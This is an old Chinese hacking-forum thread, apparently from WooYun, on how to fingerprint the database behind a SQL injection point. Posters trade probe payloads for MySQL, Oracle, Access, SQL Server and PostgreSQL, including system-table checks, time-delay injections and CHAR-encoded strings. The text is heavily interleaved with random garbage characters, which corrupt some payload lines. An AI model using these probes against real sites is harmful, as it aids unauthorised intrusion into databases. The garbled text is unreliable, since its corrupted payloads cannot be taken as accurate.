一个注射点如何最快速确认是什么类型数据库
8 G* r+ M$ p6 \- `, e5 kxsser (十根阳具有长短!!) | 2013-02-05 12:36
" D( B6 Q- W. I& y假设这么一个注射点:
- z9 z, y/ [2 g6 Ishow.html?id=23 l+ } E: c, F+ Z: I: j& r
mysql:id=2 and version()>0# N0 ?: L% {0 m# [/ K' Z# T0 F
oracle:id=2 and '1'||'1'='11) R" A: v8 ~; r3 N! f& B0 F
其他的欢迎补充
4 q0 B6 L0 q( c1#
; J; N5 v$ ?7 v% y" e! d- vupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47, o4 c4 q* [( G4 s3 a5 e* R
Access:
; [7 k' q4 h. X; P" [+ MaNd aSc(cHr(97))=97
# h6 H G: E/ y, @8 ]and exists(select id from MSysAccessObjects)
) H" Y0 p5 o. X% F. @& A( BSQL Server:3 W! w) r5 l/ ]# C
and exists(select id from sysobjects)
# R: f- \* v6 c* yand length(user)>07 o1 V( K! R1 I. P, l# r( O
MySQL:
3 H+ h' j6 ?2 L6 kand length(user())>0
1 U- E8 p& w" S. ]4 R& |2#& ^& O4 a5 w% h3 G3 j
xsser (十根阳具有长短!!) | 2013-02-05 12:48
0 G/ d: p0 c& m' K@upload 如果这些都不是呢…! F0 ]( g; ^6 `% I
3#
8 o7 |! i }6 `4 Bupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
2 F* k/ ~6 V5 u@xsser 不快速的,延时注入8 I, I0 ~! M+ n1 _
不知道这样写对不对8 b% o0 Q) ?+ z- l. v
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'% I: F' }& }. N* r
mysql:id=2 and select benchmark(1e8,current_date()); i3 b2 O3 C% H" V9 d% A9 ?
4#" i: M' x& `9 e# o: x# L% D; c! _
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10/ P* t7 ?! e7 O& k" C+ K* c
最快的貌似是看报错信息3 D1 Q; @; ?) ?" d
oracle error _2 {3 M; M# e4 M+ _
mssql error
! ?$ w( c+ r& f5 ]$ {mysql error- K' }$ s4 g! i
5#
; R0 \5 X# R c: a2 pNimda (你们都是坏银~) | 2013-02-05 13:14
8 m. X* q% b; B! i, J1 S小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
: @* C2 \4 d( ]9 b. z8 p. W7 v6#
# W* C j3 _+ q6 ]6 I' \4 p lupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21" u* M' f9 U0 `0 P$ L
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
, {6 ~4 ?0 f4 B/ ?, r7 d: k“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:% X1 T- K# u- v; M: \8 p7 B1 T9 n
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。) T" i6 W% l4 r7 W+ l5 r% j
7#6 t0 w2 l; q1 ~
_Evil (HackEnd) | 2013-02-05 13:33
9 `8 D# b; H* Y6 J8 T8 tPostgreSQL( v) v& e5 i" U2 B% R
8#
9 e# ?3 e' ^. b, Y- Wupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:421 U3 I! _6 V7 O' V/ T3 d g2 U
切换编码 and 1=12 o' o( p: v8 N Z* o4 T* ?
oracle:2 g: x0 p" T) u: p8 I; U
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)* v& _) X4 H, c, F
mssql:7 c) _2 a! n8 b5 K
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
9 m% S9 {+ T1 q H4 Y8 P# lmysql:
4 M- F, K. E) H N, D e' qCHAR(97, 110, 100, 32, 49, 61, 49)% l- M/ S" `8 |; @( H
9#; b; t# [6 u" c- ?; {0 H& u# C0 E
xsser (十根阳具有长短!!) | 2013-02-05 14:318 E3 L- N5 ]. X( o5 T0 W( w
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
: w/ \0 M0 ?! R1 }" C+ l0 r u10#
& b! j1 S/ V# _ Aupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
# f: p7 D1 G' s' g- e6 P. Y7 b@xsser 是奇葩数据库类型的么?
/ m" j/ K1 h4 p; V I根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
+ c5 N3 B/ i$ \& t1.是否可以使用特定的函数来判断,该数据库特有的/ k+ t3 o. S& D p$ K" b' h! R
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等2 T) D) A' ^& ~% ] Y
3.是否可以编码查询
' m. ?6 U. Q6 c; V1 Q4.是否显可以利用错信息' p: r9 s& G9 u5 G9 k( h9 _5 i: ^
5.是否存在数据库某些特性辅助判断
( a' `& ?7 z. ^2 B9 ~个人见解* \6 o6 |! F+ n% f
11#. K+ f' J2 e0 |
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55. H5 s- H! x& P
已收藏,mssql可以直接看到错误提示的吧~
& U% [$ v, z- w6 r12#
4 o" C1 j6 l `' h! o _Passer_by | 2013-02-05 15:09
9 E! _1 g5 ^5 p% w3 m7 R曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
- N, n8 E9 |9 d5 F- Gfrom:http://zone.wooyun.org/content/260 |